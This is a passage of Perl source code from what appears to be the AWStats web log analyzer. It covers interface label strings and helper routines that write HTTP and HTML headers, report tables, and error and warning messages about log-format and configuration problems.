 
617
        'Sep',
 
618
        'Oct',
 
619
        'Nov',
 
620
        'Dec',
 
621
        'Navigation',
 
622
        'File type',
 
623
        'Update now',
 
624
        'Bandwidth',
 
625
        'Back to main page',
 
626
        'Top',
 
627
        'dd mmm yyyy - HH:MM',
 
628
        'Filter',
 
629
        'Full list',
 
630
        'Hosts',
 
631
        'Known',
 
632
        'Robots',
 
633
        'Sun',
 
634
        'Mon',
 
635
        'Tue',
 
636
        'Wed',
 
637
        'Thu',
 
638
        'Fri',
 
639
        'Sat',
 
640
        'Days of week',
 
641
        'Who',
 
642
        'When',
 
643
        'Authenticated users',
 
644
        'Min',
 
645
        'Average',
 
646
        'Max',
 
647
        'Web compression',
 
648
        'Bandwidth saved',
 
649
        'Compression on',
 
650
        'Compression result',
 
651
        'Total',
 
652
        'different keyphrases',
 
653
        'Entry',
 
654
        'Code',
 
655
        'Average size',
 
656
        'Links from a NewsGroup',
 
657
        'KB',
 
658
        'MB',
 
659
        'GB',
 
660
        'Grabber',
 
661
        'Yes',
 
662
        'No',
 
663
        'Info.',
 
664
        'OK',
 
665
        'Exit',
 
666
        'Visits duration',
 
667
        'Close window',
 
668
        'Bytes',
 
669
        'Search&nbsp;Keyphrases',
 
670
        'Search&nbsp;Keywords',
 
671
        'different refering search engines',
 
672
        'different refering sites',
 
673
        'Other phrases',
 
674
        'Other logins (and/or anonymous users)',
 
675
        'Refering search engines',
 
676
        'Refering sites',
 
677
        'Summary',
 
678
        'Exact value not available in "Year" view',
 
679
        'Data value arrays',
 
680
        'Sender EMail',
 
681
        'Receiver EMail',
 
682
        'Reported period',
 
683
        'Extra/Marketing',
 
684
        'Screen sizes',
 
685
        'Worm/Virus attacks',
 
686
        'Hit on favorite icon',
 
687
        'Days of month',
 
688
        'Miscellaneous',
 
689
        'Browsers with Java support',
 
690
        'Browsers with Macromedia Director Support',
 
691
        'Browsers with Flash Support',
 
692
        'Browsers with Real audio playing support',
 
693
        'Browsers with Quictime audio playing support',
 
694
        'Browsers with Windows Media audio playing support',
 
695
        'Browsers with PDF support',
 
696
        'SMTP Error codes',
 
697
        'Countries',
 
698
        'Mails',
 
699
        'Size',
 
700
        'First',
 
701
        'Last',
 
702
        'Exclude filter',
 
703
'Codes shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
 
704
        'Cluster',
 
705
'Robots shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
 
706
        'Numbers after + are successful hits on "robots.txt" files',
 
707
'Worms shown here gave hits or traffic "not viewed" by visitors, so thay are not included in other charts.',
 
708
'Not viewed traffic includes traffic generated by robots, worms, or replies with special HTTP status codes.',
 
709
        'Traffic viewed',
 
710
        'Traffic not viewed',
 
711
        'Monthly history',
 
712
        'Worms',
 
713
        'different worms',
 
714
        'Mails successfully sent',
 
715
        'Mails failed/refused',
 
716
        'Sensitive targets',
 
717
        'Javascript disabled',
 
718
        'Created by',
 
719
        'plugins',
 
720
        'Regions',
 
721
        'Cities',
 
722
        'Opera versions',
 
723
        'Safari versions',
 
724
        'Chrome versions',
 
725
        'Konqueror versions',
 
726
        ',',
 
727
        'Downloads',
 
728
);
 
729
 
 
730
#------------------------------------------------------------------------------
 
731
# Functions
 
732
#------------------------------------------------------------------------------
 
733
 
 
734
# Function to solve pb with openvms
 
735
sub file_filt (@) {
 
736
        my @retval;
 
737
        foreach my $fl (@_) {
 
738
                $fl =~ tr/^//d;
 
739
                push @retval, $fl;
 
740
        }
 
741
        return sort @retval;
 
742
}
 
743
 
 
744
#------------------------------------------------------------------------------
 
745
# Function:             Write on output header of HTTP answer
 
746
# Parameters:   None
 
747
# Input:                $HeaderHTTPSent $BuildReportFormat $PageCode $Expires
 
748
# Output:               $HeaderHTTPSent=1
 
749
# Return:               None
 
750
#------------------------------------------------------------------------------
 
751
sub http_head {
 
752
        if ( !$HeaderHTTPSent ) {
 
753
                my $newpagecode = $PageCode ? $PageCode : "utf-8";
 
754
                if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
 
755
                        print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i
 
756
                                ? "Content-type: text/html; charset=$newpagecode\n"
 
757
                                : "Content-type: text/xml; charset=$newpagecode\n"
 
758
                        );
 
759
                }
 
760
                else { print "Content-type: text/html; charset=$newpagecode\n"; }
 
761
 
 
762
# Expires must be GMT ANSI asctime and must be after Content-type to avoid pb with some servers (SAMBAR)
 
763
                if ( $Expires =~ /^\d+$/ ) {
 
764
                        print "Cache-Control: public\n";
 
765
                        print "Last-Modified: " . gmtime($starttime) . "\n";
 
766
                        print "Expires: " . ( gmtime( $starttime + $Expires ) ) . "\n";
 
767
                }
 
768
                print "\n";
 
769
        }
 
770
        $HeaderHTTPSent++;
 
771
}
 
772
 
 
773
#------------------------------------------------------------------------------
 
774
# Function:             Write on output header of HTML page
 
775
# Parameters:   None
 
776
# Input:                %HTMLOutput $PluginMode $Expires $Lang $StyleSheet $HTMLHeadSection $PageCode $PageDir
 
777
# Output:               $HeaderHTMLSent=1
 
778
# Return:               None
 
779
#------------------------------------------------------------------------------
 
780
sub html_head {
 
781
        my $dir = $PageDir ? 'right' : 'left';
 
782
        if ($NOHTML) { return; }
 
783
        if ( scalar keys %HTMLOutput || $PluginMode ) {
 
784
                my $periodtitle = " ($YearRequired";
 
785
                $periodtitle .= ( $MonthRequired ne 'all' ? "-$MonthRequired" : "" );
 
786
                $periodtitle .= ( $DayRequired   ne ''    ? "-$DayRequired"   : "" );
 
787
                $periodtitle .= ( $HourRequired  ne ''    ? "-$HourRequired"  : "" );
 
788
                $periodtitle .= ")";
 
789
 
 
790
                # Write head section
 
791
                if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
 
792
                        if ($PageCode) {
 
793
                                print "<?xml version=\"1.0\" encoding=\"$PageCode\"?>\n";
 
794
                        }
 
795
                        else { print "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n"; }
 
796
                        if ( $FrameName ne 'index' ) {
 
797
                                print
 
798
"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n";
 
799
                        }
 
800
                        else {
 
801
                                print
 
802
"<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Frameset//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd\">\n";
 
803
                        }
 
804
                        print
 
805
"<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"$Lang\">\n";
 
806
                }
 
807
                else {
 
808
                        if ( $FrameName ne 'index' ) {
 
809
                                print
 
810
"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n";
 
811
                        }
 
812
                        else {
 
813
                                print
 
814
"<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Frameset//EN\">\n";
 
815
                        }
 
816
                        print '<html lang="' . $Lang . '"'
 
817
                          . ( $PageDir ? ' dir="rtl"' : '' ) . ">\n";
 
818
                }
 
819
                print "<head>\n";
 
820
 
 
821
                my $endtag = '>';
 
822
                if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
 
823
                        $endtag = ' />';
 
824
                }
 
825
 
 
826
                # Affiche tag meta generator
 
827
                print
 
828
"<meta name=\"generator\" content=\"AWStats $VERSION from config file awstats.$SiteConfig.conf (http://awstats.sourceforge.net)\"$endtag\n";
 
829
 
 
830
                # Affiche tag meta robots
 
831
                if ($MetaRobot) {
 
832
                        print "<meta name=\"robots\" content=\""
 
833
                          . ( $FrameName eq 'mainleft' ? 'no' : '' )
 
834
                          . "index,"
 
835
                          . (    $FrameName eq 'mainleft'
 
836
                                  || $FrameName eq 'index' ? '' : 'no' )
 
837
                          . "follow\"$endtag\n";
 
838
                }
 
839
                else {
 
840
                        print "<meta name=\"robots\" content=\"noindex,nofollow\"$endtag\n";
 
841
                }
 
842
 
 
843
                # Affiche tag meta content-type
 
844
                if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
 
845
                        print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i
 
846
                                ? "<meta http-equiv=\"content-type\" content=\"text/html; charset="
 
847
                                  . ( $PageCode ? $PageCode : "iso-8859-1" )
 
848
                                  . "\" />\n"
 
849
                                : "<meta http-equiv=\"content-type\" content=\"text/xml; charset="
 
850
                                  . ( $PageCode ? $PageCode : "iso-8859-1" )
 
851
                                  . "\"$endtag\n"
 
852
                        );
 
853
                }
 
854
                else {
 
855
                        print
 
856
                          "<meta http-equiv=\"content-type\" content=\"text/html; charset="
 
857
                          . ( $PageCode ? $PageCode : "iso-8859-1" )
 
858
                          . "\"$endtag\n";
 
859
                }
 
860
 
 
861
                if ($Expires) {
 
862
                        print "<meta http-equiv=\"expires\" content=\""
 
863
                          . ( gmtime( $starttime + $Expires ) )
 
864
                          . "\"$endtag\n";
 
865
                }
 
866
                my @k = keys
 
867
                  %HTMLOutput;    # This is to have a unique title and description page
 
868
                print "<meta http-equiv=\"description\" content=\""
 
869
                  . ucfirst($PROG)
 
870
                  . " - Advanced Web Statistics for $SiteDomain$periodtitle"
 
871
                  . ( $k[0] ? " - " . $k[0] : "" )
 
872
                  . "\"$endtag\n";
 
873
                if ( $MetaRobot && $FrameName ne 'mainleft' ) {
 
874
                        print
 
875
"<meta http-equiv=\"keywords\" content=\"$SiteDomain, free, advanced, realtime, web, server, logfile, log, analyzer, analysis, statistics, stats, perl, analyse, performance, hits, visits\"$endtag\n";
 
876
                }
 
877
                print "<title>$Message[7] $SiteDomain$periodtitle"
 
878
                  . ( $k[0] ? " - " . $k[0] : "" )
 
879
                  . "</title>\n";
 
880
                if ( $FrameName ne 'index' ) {
 
881
 
 
882
                        if ($StyleSheet) {
 
883
                                print "<link rel=\"stylesheet\" href=\"$StyleSheet\" />\n";
 
884
                        }
 
885
 
 
886
# A STYLE section must be in head section. Do not use " for number in a style section
 
887
                        print "<style type=\"text/css\">\n";
 
888
                        if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' )
 
889
                        {
 
890
                                print( $ENV{'HTTP_USER_AGENT'} =~ /Firebird/i
 
891
                                        ? "<!--\n"
 
892
                                        : "<![CDATA[\n"
 
893
                                );
 
894
                        }
 
895
                        else { print "<!--\n"; }
 
896
 
 
897
                        if ( !$StyleSheet ) {
 
898
                                print
 
899
"body { font: 11px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; margin-top: 0; margin-bottom: 0; }\n";
 
900
                                print ".aws_bodyl  { }\n";
 
901
                                print
 
902
".aws_border { border-collapse: collapse; background-color: #$color_TableBG; padding: 1px 1px "
 
903
                                  . (    $BuildReportFormat eq 'xhtml'
 
904
                                          || $BuildReportFormat eq 'xml' ? "2px" : "1px" )
 
905
                                  . " 1px; margin-top: 0px; margin-bottom: 0px; }\n";
 
906
                                print
 
907
".aws_title  { font: 13px verdana, arial, helvetica, sans-serif; font-weight: bold; background-color: #$color_TableBGTitle; text-align: center; margin-top: 0; margin-bottom: 0; padding: 1px 1px 1px 1px; color: #$color_TableTitle; }\n";
 
908
                                print
 
909
".aws_blank  { font: 13px verdana, arial, helvetica, sans-serif; background-color: #$color_Background; text-align: center; margin-bottom: 0; padding: 1px 1px 1px 1px; }\n";
 
910
                                print <<EOF;
 
911
.aws_data {
 
912
        background-color: #$color_Background;
 
913
        border-top-width: 1px;   
 
914
        border-left-width: 0px;  
 
915
        border-right-width: 0px; 
 
916
        border-bottom-width: 0px;
 
917
}
 
918
.aws_formfield { font: 13px verdana, arial, helvetica; }
 
919
.aws_button {
 
920
        font-family: arial,verdana,helvetica, sans-serif;
 
921
        font-size: 12px;
 
922
        border: 1px solid #ccd7e0;
 
923
        background-image : url($DirIcons/other/button.gif);
 
924
}
 
925
th              { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_titletext; }
 
926
th.aws  { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; padding: 1px 2px 1px 1px; font-size: 13px; font-weight: bold; }
 
927
td              { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:center; color: #$color_text; }
 
928
td.aws  { border-color: #$color_TableBorder; border-left-width: 0px; border-right-width: 1px; border-top-width: 0px; border-bottom-width: 1px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px;}
 
929
td.awsm { border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; font: 11px verdana, arial, helvetica, sans-serif; text-align:$dir; color: #$color_text; padding: 0px; }
 
930
b { font-weight: bold; }
 
931
a { font: 11px verdana, arial, helvetica, sans-serif; }
 
932
a:link    { color: #$color_link; text-decoration: none; }
 
933
a:visited { color: #$color_link; text-decoration: none; }
 
934
a:hover   { color: #$color_hover; text-decoration: underline; }
 
935
.currentday { font-weight: bold; }
 
936
EOF
 
937
                        }
 
938
 
 
939
                        # Call to plugins' function AddHTMLStyles
 
940
                        foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLStyles'} } )
 
941
                        {
 
942
                                my $function = "AddHTMLStyles_$pluginname";
 
943
                                &$function();
 
944
                        }
 
945
 
 
946
                        if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' )
 
947
                        {
 
948
                                print( $ENV{'HTTP_USER_AGENT'} =~ /Firebird/i
 
949
                                        ? "//-->\n"
 
950
                                        : "]]>\n"
 
951
                                );
 
952
                        }
 
953
                        else { print "//-->\n"; }
 
954
                        print "</style>\n";
 
955
                }
 
956
 
 
957
# les scripts necessaires pour trier avec Tablekit
 
958
#       print "<script type=\"text\/javascript\" src=\"/js/prototype.js\"><\/script>";
 
959
#       print "<script type=\"text\/javascript\" src=\"/js/fabtabulous.js\"><\/script>";
 
960
#       print "<script type=\"text\/javascript\" src=\"/js/mytablekit.js\"><\/script>";
 
961
 
 
962
                # Call to plugins' function AddHTMLHeader
 
963
                foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLHeader'} } )
 
964
                {
 
965
                        my $function = "AddHTMLHeader_$pluginname";
 
966
                        &$function();
 
967
                }
 
968
                        
 
969
                print "</head>\n\n";
 
970
                if ( $FrameName ne 'index' ) {
 
971
                        print "<body style=\"margin-top: 0px\"";
 
972
                        if ( $FrameName eq 'mainleft' ) { print " class=\"aws_bodyl\""; }
 
973
                        print ">\n";
 
974
                }
 
975
        }
 
976
        $HeaderHTMLSent++;
 
977
}
 
978
 
 
979
#------------------------------------------------------------------------------
 
980
# Function:             Write on output end of HTML page
 
981
# Parameters:   0|1 (0=no list plugins,1=list plugins)
 
982
# Input:                %HTMLOutput $HTMLEndSection $FrameName $BuildReportFormat
 
983
# Output:               None
 
984
# Return:               None
 
985
#------------------------------------------------------------------------------
 
986
sub html_end {
 
987
        my $listplugins = shift || 0;
 
988
        if ( scalar keys %HTMLOutput ) {
 
989
 
 
990
                # Call to plugins' function AddHTMLBodyFooter
 
991
                foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyFooter'} } )
 
992
                {
 
993
 
 
994
                        # my $function="AddHTMLBodyFooter_$pluginname()";
 
995
                        # eval("$function");
 
996
                        my $function = "AddHTMLBodyFooter_$pluginname";
 
997
                        &$function();
 
998
                }
 
999
 
 
1000
                if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) {
 
1001
                        print "$Center<br /><br />\n";
 
1002
                        print
 
1003
"<span dir=\"ltr\" style=\"font: 11px verdana, arial, helvetica; color: #$color_text;\">";
 
1004
                        print
 
1005
"<b>Advanced Web Statistics $VERSION</b> - <a href=\"http://awstats.sourceforge.net\" target=\"awstatshome\">";
 
1006
                        print $Message[169] . " $PROG";
 
1007
                        if ($listplugins) {
 
1008
                                my $atleastoneplugin = 0;
 
1009
                                foreach my $pluginname ( keys %{ $PluginsLoaded{'init'} } ) {
 
1010
                                        if ( !$atleastoneplugin ) {
 
1011
                                                $atleastoneplugin = 1;
 
1012
                                                print " ($Message[170]: ";
 
1013
                                        }
 
1014
                                        else { print ", "; }
 
1015
                                        print "$pluginname";
 
1016
                                }
 
1017
                                if ($atleastoneplugin) { print ")"; }
 
1018
                        }
 
1019
                        print "</a></span><br />\n";
 
1020
                        if ($HTMLEndSection) { print "<br />\n$HTMLEndSection\n"; }
 
1021
                }
 
1022
                print "\n";
 
1023
                if ( $FrameName ne 'index' ) {
 
1024
                        if ( $FrameName ne 'mainleft' && $BuildReportFormat eq 'html' ) {
 
1025
                                print "<br />\n";
 
1026
                        }
 
1027
                        print "</body>\n";
 
1028
                }
 
1029
                print "</html>\n";
 
1030
 
 
1031
                #               print "<!-- NEW PAGE --><!-- NEW SHEET -->\n";
 
1032
        }
 
1033
}
 
1034
 
 
1035
#------------------------------------------------------------------------------
 
1036
# Function:             Print on stdout tab header of a chart
 
1037
# Parameters:   $title $tooltipnb [$width percentage of chart title]
 
1038
# Input:                None
 
1039
# Output:               None
 
1040
# Return:               None
 
1041
#------------------------------------------------------------------------------
 
1042
sub tab_head {
 
1043
        my $title     = shift;
 
1044
        my $tooltipnb = shift;
 
1045
        my $width     = shift || 70;
 
1046
        my $class     = shift;
 
1047
 
 
1048
        # Call to plugins' function TabHeadHTML
 
1049
        my $extra_head_html = '';
 
1050
        foreach my $pluginname ( keys %{ $PluginsLoaded{'TabHeadHTML'} } ) {
 
1051
                my $function = "TabHeadHTML_$pluginname";
 
1052
                $extra_head_html .= &$function($title);
 
1053
        }
 
1054
 
 
1055
        if ( $width == 70 && $QueryString =~ /buildpdf/i ) {
 
1056
                print
 
1057
"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"800\">\n";
 
1058
        }
 
1059
        else {
 
1060
                print
 
1061
"<table class=\"aws_border sortable\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
 
1062
        }
 
1063
 
 
1064
        if ($tooltipnb) {
 
1065
                print "<tr><td class=\"aws_title\" width=\"$width%\""
 
1066
                  . Tooltip( $tooltipnb, $tooltipnb )
 
1067
                  . ">$title "
 
1068
                  . $extra_head_html . "</td>";
 
1069
        }
 
1070
        else {
 
1071
                print "<tr><td class=\"aws_title\" width=\"$width%\">$title "
 
1072
                  . $extra_head_html . "</td>";
 
1073
        }
 
1074
        print "<td class=\"aws_blank\">&nbsp;</td></tr>\n";
 
1075
        print "<tr><td colspan=\"2\">\n";
 
1076
        if ( $width == 70 && $QueryString =~ /buildpdf/i ) {
 
1077
                print
 
1078
"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"796\">\n";
 
1079
        }
 
1080
        else {
 
1081
                print
 
1082
"<table class=\"aws_data\" border=\"1\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n";
 
1083
        }
 
1084
}
 
1085
 
 
1086
#------------------------------------------------------------------------------
 
1087
# Function:             Print on stdout tab ender of a chart
 
1088
# Parameters:   None
 
1089
# Input:                None
 
1090
# Output:               None
 
1091
# Return:               None
 
1092
#------------------------------------------------------------------------------
 
1093
sub tab_end {
 
1094
        my $string = shift;
 
1095
        print "</table></td></tr></table>";
 
1096
        if ($string) {
 
1097
                print
 
1098
"<span style=\"font: 11px verdana, arial, helvetica;\">$string</span><br />\n";
 
1099
        }
 
1100
        print "<br />\n\n";
 
1101
}
 
1102
 
 
1103
#------------------------------------------------------------------------------
 
1104
# Function:             Write error message and exit
 
1105
# Parameters:   $message $secondmessage $thirdmessage $donotshowsetupinfo
 
1106
# Input:                $HeaderHTTPSent $HeaderHTMLSent %HTMLOutput $LogSeparator $LogFormat
 
1107
# Output:               None
 
1108
# Return:               None
 
1109
#------------------------------------------------------------------------------
 
1110
sub error {
 
1111
        my $message = shift || '';
 
1112
        if ( scalar keys %HTMLOutput ) {
 
1113
                $message =~ s/\</&lt;/g;
 
1114
                $message =~ s/\>/&gt;/g;
 
1115
        }
 
1116
        my $secondmessage      = shift || '';
 
1117
        my $thirdmessage       = shift || '';
 
1118
        my $donotshowsetupinfo = shift || 0;
 
1119
 
 
1120
        if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); }
 
1121
        if ( !$HeaderHTMLSent && scalar keys %HTMLOutput )   {
 
1122
                print "<html><body>\n";
 
1123
                $HeaderHTMLSent = 1;
 
1124
        }
 
1125
        if ($Debug) { debug( "$message $secondmessage $thirdmessage", 1 ); }
 
1126
        my $tagbold     = '';
 
1127
        my $tagunbold   = '';
 
1128
        my $tagbr       = '';
 
1129
        my $tagfontred  = '';
 
1130
        my $tagfontgrey = '';
 
1131
        my $tagunfont   = '';
 
1132
        if ( scalar keys %HTMLOutput ) {
 
1133
                $tagbold     = '<b>';
 
1134
                $tagunbold   = '</b>';
 
1135
                $tagbr       = '<br />';
 
1136
                $tagfontred  = '<span style="color: #880000">';
 
1137
                $tagfontgrey = '<span style="color: #888888">';
 
1138
                $tagunfont   = '</span>';
 
1139
        }
 
1140
        if ( !$ErrorMessages && $message =~ /^Format error$/i ) {
 
1141
 
 
1142
                # Files seems to have bad format
 
1143
                if ( scalar keys %HTMLOutput )   { print "<br /><br />\n"; }
 
1144
                if ( $message !~ $LogSeparator ) {
 
1145
 
 
1146
                        # Bad LogSeparator parameter
 
1147
                        print
 
1148
"${tagfontred}AWStats did not found the ${tagbold}LogSeparator${tagunbold} in your log records.${tagbr}${tagunfont}\n";
 
1149
                }
 
1150
                else {
 
1151
 
 
1152
                        # Bad LogFormat parameter
 
1153
                        print
 
1154
"AWStats did not find any valid log lines that match your ${tagbold}LogFormat${tagunbold} parameter, in the ${NbOfLinesForCorruptedLog}th first non commented lines read of your log.${tagbr}\n";
 
1155
                        print
 
1156
"${tagfontred}Your log file ${tagbold}$thirdmessage${tagunbold} must have a bad format or ${tagbold}LogFormat${tagunbold} parameter setup does not match this format.${tagbr}${tagbr}${tagunfont}\n";
 
1157
                        print
 
1158
                          "Your AWStats ${tagbold}LogFormat${tagunbold} parameter is:\n";
 
1159
                        print "${tagbold}$LogFormat${tagunbold}${tagbr}\n";
 
1160
                        print
 
1161
                          "This means each line in your web server log file need to have ";
 
1162
                        if ( $LogFormat == 1 ) {
 
1163
                                print
 
1164
"${tagbold}\"combined log format\"${tagunbold} like this:${tagbr}\n";
 
1165
                                print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
 
1166
                                print
 
1167
"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
 
1168
                                print(
 
1169
                                        scalar keys %HTMLOutput
 
1170
                                        ? "</i>$tagunfont${tagbr}${tagbr}\n"
 
1171
                                        : ""
 
1172
                                );
 
1173
                        }
 
1174
                        if ( $LogFormat == 2 ) {
 
1175
                                print
 
1176
"${tagbold}\"MSIE Extended W3C log format\"${tagunbold} like this:${tagbr}\n";
 
1177
                                print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
 
1178
                                print
 
1179
"date time c-ip c-username cs-method cs-uri-sterm sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)\n";
 
1180
                                print(
 
1181
                                        scalar keys %HTMLOutput
 
1182
                                        ? "</i>$tagunfont${tagbr}${tagbr}\n"
 
1183
                                        : ""
 
1184
                                );
 
1185
                        }
 
1186
                        if ( $LogFormat == 3 ) {
 
1187
                                print
 
1188
"${tagbold}\"WebStar native log format\"${tagunbold}${tagbr}\n";
 
1189
                        }
 
1190
                        if ( $LogFormat == 4 ) {
 
1191
                                print
 
1192
"${tagbold}\"common log format\"${tagunbold} like this:${tagbr}\n";
 
1193
                                print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
 
1194
                                print
 
1195
"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234\n";
 
1196
                                print(
 
1197
                                        scalar keys %HTMLOutput
 
1198
                                        ? "</i>$tagunfont${tagbr}${tagbr}\n"
 
1199
                                        : ""
 
1200
                                );
 
1201
                        }
 
1202
                        if ( $LogFormat == 6 ) {
 
1203
                                print
 
1204
"${tagbold}\"Lotus Notes/Lotus Domino\"${tagunbold}${tagbr}\n";
 
1205
                                print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
 
1206
                                print
 
1207
"111.22.33.44 - Firstname Middlename Lastname [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
 
1208
                                print(
 
1209
                                        scalar keys %HTMLOutput
 
1210
                                        ? "</i></span>${tagbr}${tagbr}\n"
 
1211
                                        : ""
 
1212
                                );
 
1213
                        }
 
1214
                        if ( $LogFormat !~ /^[1-6]$/ ) {
 
1215
                                print "the following personalized log format:${tagbr}\n";
 
1216
                                print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
 
1217
                                print "$LogFormat\n";
 
1218
                                print(
 
1219
                                        scalar keys %HTMLOutput
 
1220
                                        ? "</i>$tagunfont${tagbr}${tagbr}\n"
 
1221
                                        : ""
 
1222
                                );
 
1223
                        }
 
1224
                        print
 
1225
"And this is an example of records AWStats found in your log file (the record number $NbOfLinesForCorruptedLog in your log):\n";
 
1226
                        print( scalar keys %HTMLOutput ? "<br />$tagfontgrey<i>" : "" );
 
1227
                        print "$secondmessage";
 
1228
                        print(
 
1229
                                scalar keys %HTMLOutput
 
1230
                                ? "</i>$tagunfont${tagbr}${tagbr}"
 
1231
                                : ""
 
1232
                        );
 
1233
                        print "\n";
 
1234
                }
 
1235
 
 
1236
#print "Note: If your $NbOfLinesForCorruptedLog first lines in your log files are wrong because of ";
 
1237
#print "a worm virus attack, you can increase the NbOfLinesForCorruptedLog parameter in config file.\n";
 
1238
#print "\n";
 
1239
        }
 
1240
        else {
 
1241
                print( scalar keys %HTMLOutput ? "<br />$tagfontred\n" : "" );
 
1242
                print( $ErrorMessages? "$ErrorMessages" : "Error: $message" );
 
1243
                print( scalar keys %HTMLOutput ? "\n</span><br />" : "" );
 
1244
                print "\n";
 
1245
        }
 
1246
        if ( !$ErrorMessages && !$donotshowsetupinfo ) {
 
1247
                if ( $message =~ /Couldn.t open config file/i ) {
 
1248
                        my $dir = $DIR;
 
1249
                        if ( $dir =~ /^\./ ) { $dir .= '/../..'; }
 
1250
                        else { $dir =~ s/[\\\/]?wwwroot[\/\\]cgi-bin[\\\/]?//; }
 
1251
                        print "${tagbr}\n";
 
1252
                        if ( $ENV{'GATEWAY_INTERFACE'} ) {
 
1253
                                print
 
1254
"- ${tagbold}Did you use the correct URL ?${tagunbold}${tagbr}\n";
 
1255
                                print
 
1256
"Example: http://localhost/awstats/awstats.pl?config=mysite${tagbr}\n";
 
1257
                                print
 
1258
"Example: http://127.0.0.1/cgi-bin/awstats.pl?config=mysite${tagbr}\n";
 
1259
                        }
 
1260
                        else {
 
1261
                                print
 
1262
"- ${tagbold}Did you use correct config parameter ?${tagunbold}${tagbr}\n";
 
1263
                                print
 
1264
"Example: If your config file is awstats.mysite.conf, use -config=mysite\n";
 
1265
                        }
 
1266
                        print
 
1267
"- ${tagbold}Did you create your config file 'awstats.$SiteConfig.conf' ?${tagunbold}${tagbr}\n";
 
1268
                        print
 
1269
"If not, you can run \"awstats_configure.pl\"\nfrom command line, or create it manually.${tagbr}\n";
 
1270
                        print "${tagbr}\n";
 
1271
                }
 
1272
                else {
 
1273
                        print "${tagbr}${tagbold}Setup ("
 
1274
                          . ( $FileConfig ? "'" . $FileConfig . "'" : "Config" )
 
1275
                          . " file, web server or permissions) may be wrong.${tagunbold}${tagbr}\n";
 
1276
                }
 
1277
                print
 
1278
"Check config file, permissions and AWStats documentation (in 'docs' directory).\n";
 
1279
        }
 
1280
 
 
1281
        # Remove lock if not a lock message
 
1282
        if ( $EnableLockForUpdate && $message !~ /lock file/ ) { &Lock_Update(0); }
 
1283
        if ( scalar keys %HTMLOutput ) { print "</body></html>\n"; }
 
1284
        exit 1;
 
1285
}
 
1286
 
 
1287
#------------------------------------------------------------------------------
 
1288
# Function:             Write a warning message
 
1289
# Parameters:   $message
 
1290
# Input:                $HeaderHTTPSent $HeaderHTMLSent $WarningMessage %HTMLOutput
 
1291
# Output:               None
 
1292
# Return:               None
 
1293
#------------------------------------------------------------------------------
 
1294
sub warning {
 
1295
        my $messagestring = shift;
 
1296
 
 
1297
        if ($Debug) { debug( "$messagestring", 1 ); }
 
1298
        if ($WarningMessages) {
 
1299
                if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) { http_head(); }
 
1300
                if ( !$HeaderHTMLSent )        { html_head(); }
 
1301
                if ( scalar keys %HTMLOutput ) {
 
1302
                        $messagestring =~ s/\n/\<br\>/g;
 
1303
                        print "$messagestring<br />\n";
 
1304
                }
 
1305
                else {
 
1306
                        print "$messagestring\n";
 
1307
                }
 
1308
        }
 
1309
}
 
1310
 
 
1311
#------------------------------------------------------------------------------
 
1312
# Function:     Write debug message and exit
 
1313
# Parameters:   $string $level
 
1314
# Input:        %HTMLOutput  $Debug=required level  $DEBUGFORCED=required level forced
 
1315
# Output:               None
 
1316
# Return:               None
 
1317
#------------------------------------------------------------------------------
 
1318
sub debug {
 
1319
